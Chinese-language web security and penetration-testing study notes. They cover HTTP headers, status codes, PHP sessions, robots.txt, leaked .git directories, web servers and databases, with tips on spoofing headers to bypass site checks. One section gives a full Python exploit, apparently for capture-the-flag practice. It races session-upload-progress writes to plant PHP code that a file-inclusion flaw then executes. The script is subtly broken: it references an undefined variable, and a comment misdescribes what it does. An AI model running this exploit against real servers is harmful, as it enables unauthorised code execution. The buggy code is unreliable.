Web安全与渗透测试笔记
Header | 解释 | 示例 |
---|---|---|
Accept | 指定客户端能够接收的内容类型 | Accept: text/plain, text/html |
Accept-Charset | 浏览器可以接受的字符编码集。 | Accept-Charset: iso-8859-5 |
Accept-Encoding | 指定浏览器可以支持的web服务器返回内容压缩编码类型。 | Accept-Encoding: compress, gzip |
Accept-Language | 浏览器可接受的语言 | Accept-Language: en,zh |
Accept-Ranges | 可以请求网页实体的一个或者多个子范围字段 | Accept-Ranges: bytes |
Authorization | HTTP授权的授权证书 | Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Cache-Control | 指定请求和响应遵循的缓存机制 | Cache-Control: no-cache |
Connection | 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) | Connection: close |
Cookie | HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 | Cookie: $Version=1; Skin=new; |
Content-Length | 请求的内容长度 | Content-Length: 348 |
Content-Type | 请求的与实体对应的MIME信息 | Content-Type: application/x-www-form-urlencoded |
Date | 请求发送的日期和时间 | Date: Tue, 15 Nov 2010 08:12:31 GMT |
Expect | 请求的特定的服务器行为 | Expect: 100-continue |
From | 发出请求的用户的Email | From: user@email.com |
Host | 指定请求的服务器的域名和端口号 | Host: www.example.com |
If-Match | 只有请求内容与实体相匹配才有效 | If-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Modified-Since | 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 | If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
If-None-Match | 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 | If-None-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Range | 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag | If-Range: “737060cd8c284d8af7ad3082f209582d” |
If-Unmodified-Since | 只在实体在指定时间之后未被修改才请求成功 | If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
Max-Forwards | 限制信息通过代理和网关传送的时间 | Max-Forwards: 10 |
Pragma | 用来包含实现特定的指令 | Pragma: no-cache |
Proxy-Authorization | 连接到代理的授权证书 | Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Range | 只请求实体的一部分,指定范围 | Range: bytes=500-999 |
Referer | 先前网页的地址,当前请求网页紧随其后,即来路 | Referer: http://www.example.com/index.html |
TE | 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 | TE: trailers,deflate;q=0.5 |
Upgrade | 向服务器指定某种传输协议以便服务器进行转换(如果支持) | Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11 |
User-Agent | User-Agent的内容包含发出请求的用户信息 | User-Agent: Mozilla/5.0 (Linux; X11) |
Via | 通知中间网关或代理服务器地址,通信协议 | Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1) |
Warning | 关于消息实体的警告信息 | Warn: 199 Miscellaneous warning |
X-Forwarded-For | 用来伪装来源ip | X-Forwarded-For: 127.0.0.1 |
在Web安全中我们常用的请求头有cookie
,Referer
,User-Agent
,X-Forwarded-For
。
cookie是为了保持用户访问网页连贯性而存在的,与其相似的还有session,对于cookie:
Cookie是一段不超过4KB的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制Cookie有效期、安全性、使用范围的可选属性组成。其中: (1)Name/Value:设置Cookie的名称及相对应的值,对于认证Cookie,Value值包括Web服务器所提供的访问令牌。 (2)Expires属性:设置Cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭浏览器时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效。 (3)Path属性:定义了Web站点上可以访问该Cookie的目录。 (4)Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围。 (5)Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站。 (6)HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头。
所以修改本地浏览器cookie可以进行一些操作,绕过某些网站的验证等。
Referer也常用于绕过某些网站的验证,例如某些页面的访问要求必须是从指定的页面跳转,那么修改referer至就可以达到这样的效果。
User-Agent常用于伪装请求者的来源,有些网站电脑版和手机版的操作逻辑不一样或者存在特性,我们在电脑上无法直接访问到手机版网页,这样就可以通过修改UA来进行伪装来源,有一些常见的UA:
<----------手机版:------------>
伪装成Opera Mobile:
Opera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02
伪装成iPhone的Safari:
Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
伪装成iPhone下的Chrome:
Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3
伪装成Chrome手机端:
Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B)
AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile
Safari/535.19
<----------电脑版:------------>
谷歌Chrome(Webkit、Blink)
UserAgent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Safari/537.36
苹果Safair(Webkit、Webkit2)
UserAgent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5。
微软IE/Edge(Triden、Blink)
IE11-UserAgent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Edge-UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36Edge/13.10586
火狐Firefox
User-Agent:Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
X-Forwarded-For用于修改请求IP,用此可以伪装请求者的来源IP。
3、空行
空行必不可少,它代表着请求头结束,引出请求体
4、请求体
根据请求方式
http相应
HTTP响应由三部分组成,状态行、消息报头、响应正文
1、状态行
状态行由三部分组成,HTTP协议的版本号、状态码、以及对状态码的文本描述。如:
HTTP/1.1 200 OK (CRLF)
响应状态码
一般分为五类:
1xx——信息响应,这一类型的状态码,代表请求已被接受,需要继续处理,这类响应是临时响应,只包含状态行和某些可选的响应头信息,并以空行结束,这一类型的状态码,代表请求已被接受,需要继续处理。这类响应是临时响应,只包含状态行和某些可选的响应头信息,并以空行结束。由于HTTP/1.0协议中没有定义任何1xx状态码,所以除非在某些试验条件下,服务器禁止向此类客户端发送1xx响应。这些状态码代表的响应都是信息性的,标示客户应该采取的其他行动。
2xx——成功响应,求已成功被服务器接收,理解,并接受,也就是一次成功的响应。
3xx——重定向,这类状态码代表需要客户端采取进一步的操作才能完成请求。通常,这些状态码用来重定向,后续的请求地址(重定向目标)在本次响应的Location域中指明。当且仅当后续的请求所使用的方法是GET或者HEAD时,用户浏览器才可以在没有用户介入的情况下自动提交所需要的后续请求。
4xx——客户端错误,这类的状态码代表了客户端看起来可能发生了错误,妨碍了服务器的处理。除非响应的是一个HEAD请求,否则服务器就应该返回一个解释当前错误状况的实体,以及这是临时的还是永久性的状况。这些状态码适用于任何请求方法。浏览器应当向用户显示任何包含在此类错误响应中的实体内容。
5xx——服务端错误,表示服务器无法完成明显有效的请求。这类状态码代表了服务器在处理请求的过程中有错误或者异常状态发生,也有可能是服务器意识到以当前的软硬件资源无法完成对请求的处理。除非这是一个HEAD请求,否则服务器应当包含一个解释当前错误状态以及这个状况是临时的还是永久的解释信息实体。浏览器应当向用户展示任何在当前响应中被包含的实体。这些状态码适用于任何响应方法。
http状态码可以通过chrome的网络,然后找到all,就可以看到相应接口的状态码。一般200表示成功。
响应状态码具体包括哪些
1xx
100
服务器已经接收到请求头,并且客户端应继续发送请求主体。或者如果请求已经完成,忽略这个响应。服务器必须在请求完成后,向客户端发送一个最终的请求。
101
服务器已经理解了客户端的请求,并通过升级消息头,通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将切换到在升级消息头中定义的那些协议。
102
服务器已经收到并正在处理请求,但无响应可用。这样可以防止客户端超时,并假设请求丢失。
2xx
200
请求已经成功,请求希望的响应头或数据体将随之响应返回。实际的响应则取决于你请求的方法,就以GET和POST的请求为例,在GET的请求中,响应将包含与请求的资源相对应的实体。则在POST的请求中,响应将包含描述或操作结果的实体。
201
请求已经被实现,而且有一个新的资源已经依据请求的需要而创建,并且URI已经随Location头信息返回。
202
服务器已经接受请求,但是尚未处理,最终该请求也可能不会被执行,并且可能在处理发生时被禁止。
203
服务器是一个转换代理服务器,例如网络加速器,以200状态码为起源,但回应了原始响应的修改版本。
204
服务器处理了请求,没有返回内容。。一般适用场景,在wifi设备连接到需要进行Web认证的Wife接入点时,通过访问一个能在HTTP 204响应的网站,如果能正常接受204的响应,则代表无需Web认证,否则会弹出网页浏览器界面,显示出Web网页认证界面用于让用户进行登陆。
205
服务器成功处理了请求,但没有返回任何内容。与204的区别就是,此响应要求请求者重置文档视图。
206
服务器已经成功处理了部分GET请求。典型的应用就是像迅雷这类的HTTP下载工具响应实现端点续传或者将一个大文档分解为多个下载段同时下载。
207
代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
208
DAV绑定的成员已经在(多状态)响应之前的部分被列举,且未被再次包含。
226
服务器已经满足了对资源的请求,对实体请求的一个或多个实体操作的结果表示。
3xx
300
被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。除非这是一个HEAD请求,否则该响应应当包括一个资源特性及地址的列表的实体,以便用户或浏览器从中选择最合适的重定向地址。这个实体的格式由Content-Type定义的格式所决定。浏览器可能根据响应的格式以及浏览器自身能力,自动作出最合适的选择。
Content-Type 标头告诉客户端实际返回的内容的内容类型。一般在http的请求头进行设置。一般有以下的几种格式:
text/html: HTML 格式
text/plain: 纯文本格式
text/xml: XML 格式
image/gif: gif图片格式
image/jpeg: jpg图片格式
image/png: png图片格式
301
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个URI之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
302
要求客户端执行临时重定向,由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求,只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。Cache-Control是http响应头用来放置缓存信息的。
303
对应当前请求的响应可以在另一个URI上被找到,当响应于POST(或PUT / DELETE)接收到响应时,客户端应该假定服务器已经收到数据,并且应该使用单独的GET消息发出重定向。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。这个新的URI不是原始资源的替代引用。同时,303响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。
304
表示资源在由请求头中的if-Modified-Since 或 if-None-Match 参数指定的这一版本之后,未曾被修改。由于客户端仍然具有以前下载的副本,因此不需要重新传输资源。
305
被请求的资源必须通过指定的代理才能被访问。Location域中将给出指定的代理所在的URI信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能创建305响应。
306
在最新版的规范中,306状态码已经不再被使用。最初是指“后续请求应使用指定的代理”。
307
在这种情况下,请求应该与另一个URI重复,但后续的请求应仍使用原始的URI,与302相反,当重新发出原始请求时,不允许更改请求方法。 例如,应该使用另一个POST请求来重复POST请求。
308
请求和所有将来的请求应该使用另一个URI重复。 307和308重复302和301的行为,但不允许HTTP方法更改。 例如,将表单提交给永久重定向的资源可能会顺利进行。
4xx
400
由于明显的客户端错误(例如,格式错误的请求语法,太大的大小,无效的请求消息或欺骗性路由请求),服务器不能或不会处理该请求。
401
类似于403 Forbidden,401语义即"未认证",即用户没有必要的凭据。该状态码表示当前需求需要用户验证。
402
该状态码是为了将来可能的需求而预留的。该状态码最初的意图可能被用作某种形式的数字现金或在线支付方案的一部分,但几乎没有哪家服务商使用,而且这个状态码通常不被使用。
403
服务器已经理解请求,但是拒绝执行它。与401响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个HEAD请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个404响应,假如它不希望让客户端获得任何信息。
404
请求失败,请求所希望得到的资源未被在服务器上发现,但允许用户的后续请求。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用404状态码来告知旧资源因为某些内部的配置机制问题已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况。
405
请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow头信息用以表示出当前资源能够接受的请求方法的列表。例如,需要通过POST呈现数据的表单上的GET请求,或只读资源上的PUT请求。鉴于PUT,DELETE方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认的配置下不允许上述的请求方法,对于此类请求均会返回405错误。
406
请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体,该请求不可接受。除非这是一个HEAD请求,否则该响应就应当返回一个包含可以让用户或者浏览器从中选择最合适的实体特性以及地址栏表的实体。实体的格式由Content-Type头中定义的媒体类型决定。浏览器可以根据格式及自身能力自行作出最佳选择。但是,规范中并没有定义任何作出此类自动选择的标准。
407
与401的响应类似,不同的是客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个Proxy-Authenticate用以进行身份询问。客户端可以返回一个Proxy-Authorization信息头用以验证。
408
请求超时。根据HTTP规范,客户端没有在服务器预备等待的时间内完成一个请求的发送,客户端可以随时再次提交这一请求而无需进行任何更改。
409
表示因为请求存在冲突无法处理该请求,例如多个同步更新之间的编辑冲突。
410
表示所请求的资源不再可用,将不再可用。当资源被有意地删除并且资源应被清除时,应该使用这个。在收到410状态码后,用户应停止再次请求资源。但大多数服务端不会使用此状态码,而是直接使用404状态码。
411
服务器拒绝在没有定义Content-Length头的情况下接受请求。在添加了表明请求消息体长度的有效Content-Length头之后,客户端可以再次提交该请求。
412
服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
413
表示服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个Retry-After的响应头,以告知客户端可以在多少时间以后重新尝试。
414
表示请求的URI长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。通常将太多数据的结果编码为GET请求的查询字符串,在这种情况下,应将其转换为POST请求。
通常的情况包括:
本应使用POST方法的表单提交变成了GET方法,导致查询字符串过长;
重定向URI“黑洞”,例如每次重定向把旧的URI作为新的URI的一部分,导致在若干次重定向后URI超长。
客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器,这类服务器使用固定长度的缓冲读取或操作请求的URI,当GET后的参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行,没有此类漏洞的服务器,应当返回414状态码。
415
对于当前请求的方法和所请求的资源,请求中提交的互联网媒体类型并不是服务器中所支持的格式,因此请求被拒绝。例如。客户端将图像的格式上传为svg,但服务器要求图像使用上传格式为jpg。
416
客户端已经要求文件的一部分,但服务器不能提供该部分。例如,如果客户端要求文件的一部分超出文件尾端。
417
在请求头Expect中指定的预期内容无法被服务器满足,或者这个服务器是一个代理服显的证据证明在当前路由的下一个节点上,Expect的内容无法被满足。
421
该请求针对的是无法产生响应的服务器(例如因为连接重用)。
422
请求格式正确,但是由于含有语义错误,无法响应。
423
当前的资源被锁定。
424
由于之前的某个请求发生错误,导致当前的请求失败。
425
服务器拒绝处理在Early Data中的请求,以规避可能的重放攻击。
重放攻击是一种网络攻击,通过恶意的欺诈性地重复或拖延正常的数据传输而实施。因工作原理如同重放歌曲一样而得名。
426
原服务器要求该请求满足一定条件。这是为了防止“未更新”问题,即客户端读取(GET)一个资源的状态,更改它,并将它写(PUT)回服务器,但这期间第三方已经在服务器上更改了该资源的状态,因此导致了冲突。
429
用户在给定的时间内发送了太多的请求。旨在用于网络限速。
431
服务器不愿处理请求,因为一个或多个头字段过大。
451
该访问因法律的要求而被拒绝。
5xx
500
通用错误消息,服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。没有给出具体错误信息。
501
服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求。
502
作为网关或者代理工作服务器尝试执行请求时,从上游服务器收到无效的响应。
503
由于临时的服务器维护或者过载,服务器无法处理请求。这个状况时暂时的,且在一段时间后就会恢复。
504
作为网关或者代理工作的服务器尝试执行请求时,未能及时从上游服务器(URI标识出的服务器,例如HTTP,FTP,LDAP)或者辅助服务器(例如DNS)收到的响应。
505
服务器不支持,或者拒绝支持在请求中使用的HTTP版本。这暗示着服务器不能或不愿使用与客户端相同的版本。响应中应当包含一个描述了为何版本不被支持以及服务器支持哪些协议的实体。
506
代表服务器存在内部配置错误,被请求的协商变元资源被配置为在透明内容协商中使用自己,因此在一个协商处理中不是一个合适的重点。
507
服务器无法存储完成请求所必须的内容。这个状况被认为是临时的。
508
服务器在处理请求时陷入死循环。
511
客户端需要进行身份验证才能获得网络访问权限,旨在限制用户群访问特定网络。
会话(Session)
Session:在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。
由于html的特性,多个请求之间无关联,如果在/xxx.html中为登录状态,那么跳转到/yyy.html就会变成默认的未登录状态,seesion的出现是为了弥补这一缺陷,让每一个用户在多个请求中状态一致。
session是保存在服务端的,与之相对的是cookie,cookie是保存在客户端的。每当用户使用一浏览器开始对服务器发出请求,一个session就会被创建,当用户关闭浏览器结束访问,session会被删除。所以用同一个ip访问同一个网站,如果浏览器不同,用户状态也是不同的,所以session创建的标准是浏览器而不是ip。session不随刷新页面而消失。
特别要注意的是,Session是一种技术,一种形式,并不是某种特殊的文件格式或其他的,在下文中为了区别一些Session的具体实现:如session、sessionstorage、localstorage还有redis,我将首字母大写的Session代指这项保持用户会话的技术,小写来代指具体的实现方式。
1、php中的session
每次我们访问一个页面,如果有开启session,也就是有session_start() 时,就会自动生成一个session_id 来标注是这次会话的唯一ID,同时也会自动往cookie里写入一个名字为PHPSESSID的变量,它的值正是session_id,当这次会话没结束,再次访问的时候,服务器会去读取这个PHPSESSID的cookie是否有值有没过期,如果能够读取到,则继续用这个session_id,如果没有,就会新生成一个session_id,同时生成PHPSESSID这个cookie。由于默认生成的这个PHPSESSID cookie是会话,也就是说关闭浏览器就会过期掉,所以,下次重新浏览时,会重新生成一个session_id。
这个session是32位的。
session的存储地址在php.ini
文件中会被标明,一般最后一级目录会是\tmp
,当一个会话开始的时候,服务器会在目录下写入sess_xxxxxxxxxx
文件,下划线后的就是这个会话的session_id。
一些session的服务端操作
一般我们通过$_SESSION['<变量名>'] = ....
将一些数据存储在session中。这些数据最终会被以序列化后的格式存储在sess_文件中。session.save_handler = files 表示的是session的存储方式,默认的是files文件的方式保存。
一些常用的函数与参数
save_handler
不仅仅只能用文件files,还可以用我们常见的memcache 和 redis 来保存。
session.use_cookies
默认是1,表示会在浏览器里创建值为PHPSESSID的session_id,session.name = PHPSESSID 找个配置就是改这个名字的,这个名称可以进行修改,如修改成PhPP,就会在浏览器cookie中创建PhPP的sessionid。
session.auto_start = 0
用来是否需要自动开启session,默认是不开启的,所有我们需要在代码中用到session_start();函数开启,如果设置成1,那么session_id 也会自动就生成了。
session.cookie_lifetime = 0
这个是设置在客户端生成PHPSESSID这个cookie的过期时间,默认是0,也就是关闭浏览器就过期,下次访问,会再次生成一个session_id。所以,如果想关闭浏览器会话后,希望session信息能够保持的时间长一点,可以把这个值设置大一点,单位是秒。
gc_divisor
, gc_probability
, gc_maxlifetime
是回收这些sess_xxxxx 的文件,它是按照这3个参数,组成的比率,来启动GC删除这些过期的sess文件。gc_maxlifetime是sess_xxx文件的过期时间。
2、sessionstorage和localstorage
它们来自于Web Storage API ,这是一种新的机制, 使浏览器能以一种比使用 Cookie 更直观的方式存储键/值对。
Web Storage 包含如下两种机制:
-
sessionStorage
为每一个给定的源(given origin)维持一个独立的存储区域,该存储区域在页面会话期间可用(即只要浏览器处于打开状态,包括页面重新加载和恢复)。 -
localStorage
同样的功能,但是在浏览器关闭,然后重新打开后数据仍然存在。
这两种机制是通过 Window.sessionStorage和 Window.localStorage
属性使用(更确切的说,在支持的浏览器中 Window
对象实现了 WindowLocalStorage
和 WindowSessionStorage
对象并挂在其 localStorage
和 sessionStorage
属性下)—— 调用其中任一对象会创建Storage
对象,通过Storage
对象,可以设置、获取和移除数据项。对于每个源(origin)sessionStorage
和 localStorage
使用不同的 Storage
对象——独立运行和控制。
[技巧]3、session竞争
由于session的特性,导致流量大的服务器将会承受很大的session存储压力,所有会定义一个定时清除session的程序,当我们的恶意程序包含在session中时,也可能被服务端识别并删除,这时候我们可以通过暴力手段不停上传session文件一起到在服务端删除本地session后仍然有新的session存在。
session恶意代码
在phpinfo()
中存在这些数据
1,session.save_handler files files
表示session以文件的形式存储。
2,session.save_path /tmp /tmp
表示session存储目录在/tmp下。
3,session.serialize_handler php php
表示反序列化和序列号的处理器是PHP。
4,session.upload_progress.cleanup On On
表示文件上传结束后,php会立即清除对应session文件中的内容。
5,session.upload_progress.enabled On On
表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
6,session.upload_progress.freq 1% 1%
7,session.upload_progress.min_freq 1 1
freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
8,session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
9,session.upload_progress.prefix upload_progress_ upload_progress_
prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名
10,session.use_cookies On On
表示使用cookie记录sessionid。
11,session.use_only_cookies On On
表示是否在客户端仅仅使用 cookie 来存放会话 ID。
12,session.use_strict_mode Off Off
值为off,表示Cookie中的sessionid可控。
一般来说PHP_SESSION_UPLOAD_PROGRESS是开的,所以我们一般会往这个键值中写入恶意代码,然后让整个sess文件被文件包含后解析代码,最终执行代码。
以
服务端代码出现
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
我们考虑进行文件包含,之后使用其他方法先对phpinfo进行查看,观察是否关闭了session.upload_progress.cleanup
,若没有则可以直接使用burp上传恶意代码,若存在则需要不停上传同一个session来确保恶意代码能够执行。
脚本编写
我们一般通过python进行脚本编写(python版本3.8+)
首先导入两个库
import threading
import requests
requests用来进行网络请求,threading用来分离线程,做到不断循环上传session从而竞争。
定义基本信息
target_url = "http://xxx.xxx.xxx.xxx/index.php"#据情况而定
session_id = "flag"#自行决定
expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要执行的代码
MyCookie = {'PHPSESSID': sessid}#设置本地cookie值和自定义的session_id一致
proxies = {
"http": "127.0.0.1:8080",
}#设置本机代理,也可以不设置
编写竞争函数
def send_file(session):#形参为后面多线程的指令集提供入口
while True:
resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
不停的上传同样的post请求。将结果存于res.txt中。
编写读取信息函数
def getflag(session):
while True:
payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
#根据漏洞进行伪协议读取文件
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
main函数
if __name__ == '__main__':
session = requests.session()
t = threading.Thread(target=send_file, args=(session,))#为竞争函数创建一个新线程
t.start()
#两个线程独立运行
getflag(session)
完整代码
import threading
import requests
target_url = "http://xxx.xxx.xxx.xxx/index.php"#据情况而定
session_id = "flag"#自行决定
expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要执行的代码
MyCookie = {'PHPSESSID': sessid}#设置本地cookie值和自定义的session_id一致
proxies = {
"http": "127.0.0.1:8080",
}#设置本机代理,也可以不设置
def send_file(session):#形参为后面多线程的指令集提供入口
while True:
resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
def getflag(session):
while True:
payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
#根据漏洞进行伪协议读取文件
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
if __name__ == '__main__':
session = requests.session()
t = threading.Thread(target=send_file, args=(session,))#为竞争函数创建一个新线程
t.start()
#两个线程独立运行
getflag(session)
参考文献与拓展
(三)robots协议
Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
Robots协议也称为爬虫协议、爬虫规则、机器人协议,是网站国际互联网界通行的道德规范,其目的是保护网站数据和敏感信息、确保用户个人信息和隐私不被侵犯。“规则”中将搜索引擎抓取网站内容的范围做了约定,包括网站是否希望被搜索引擎抓取,哪些内容不允许被抓取,而网络爬虫可以据此自动抓取或者不抓取该网页内容。如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些不对搜索引擎开放。
如果在服务器返回的请求中有disallowed之类的提示则代表你可以尝试访问robots协议(/robots.txt)来找找想要的内容。
(四)版本控制仓库的泄漏
版本控制软件提供完备的版本管理功能,用于存储、追踪目录(文件夹)和文件的修改历史,是软件开发者的必备工具,是软件公司的基础设施。版本控制软件的最高目标,是支持软件公司的配置管理活动,追踪多个版本的开发和维护活动,及时发布软件。
通常网站会使用这些版本控制仓库进行动态维护,当我们发现网站存在/.git等目录的泄漏,代表其使用的版本控制仓库已经泄漏地址,我们可以在里面找到很多无法通过正常访问手段查看的内容。
常见的版本控制仓库有CVS、SVN、git、Mercurial。
(五)WEB服务器
Web服务器当是指驻留于因特网上某种类型计算机的程序。当Web浏览器(客户端)连接到服务器上并请求文件时,服务器会将处理该请求并将文件发送到该浏览器上,附带的信息会告诉浏览器如何查看该文件(即文件类型)。Web服务器会使用HTTP进行信息交流,因此Web服务器也常被称为HTTP服务器。
Web服务器可驻留于各种类型的计算机,从常见的PC到巨型的UNIX网络,以及其他各种类型的计算机。它们通常经过一条高速线路与因特网连接,如果对性能无所谓,则也可使用低速连接(甚至是调制解调器)。
目前,市场上Web服务器产品的种类很多,比较著名的有Apache、Netscape Enterpriise、 Zeus、AOLserver、Roxen WebSerer、Jigsew等。
一般我们常见的web服务器有Nginx、Apache、IIS(Microsoft),这些web服务器有其各自的特性,作为用户和服务器之间的桥梁,它们的侧重点不一样,Nginx应对静态请求效果很好(如.html),Apache应对动态请求(.js/.php/.asp)远远强于Nginx,所有根据一些我们能在服务器上见到的特征可以估测和判断服务器使用的web服务器类型。
对于Apache服务器,有这些漏洞可以尝试在早期版本使用:
CVE-2021-41773(目录穿越)
CVE-2021-40438(远程执行)
等等。
对于Nginx服务器
CVE-2021-23017(DNS解析PoC)
等等。
(六)服务器模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎本质上就是执行动态渲染,一个热搜榜不可能被写死,每次更改需要程序员自己手动修改,模板引擎可以做到对指定内容实时渲染替换,做到动态更新。
一些常见的模板引擎有lask(python3)、jinja2/flask(python)、smarty(PHP)、Twig(PHP)、Freemarker(JavaEE)、velocity(JavaEE);
(七)数据库
数据库广泛用于服务器,用来存储大量的数据并进行读取等操作,目前市面上数据库类型种类繁多,有关系型数据库和非关系型数据库之分,目前最为常见的数据库是MySQL,因为其开源和免费而受到众多开发者的支持。
但是MySQL在处理超巨量型数据时十分力不从心,专业型数据库Oracle解决了这个问题,成为企业的数据库解决方案,此外还有Microsoft的SQL Sever和Access,非关系型数据库MongoDB,以存储键值高效而持续闻名的redis。
不同的数据库在服务端用处也不一致,但他们基本都使用同一的SQL语言进行数据库操作,这使得数据库的学习成本降低。
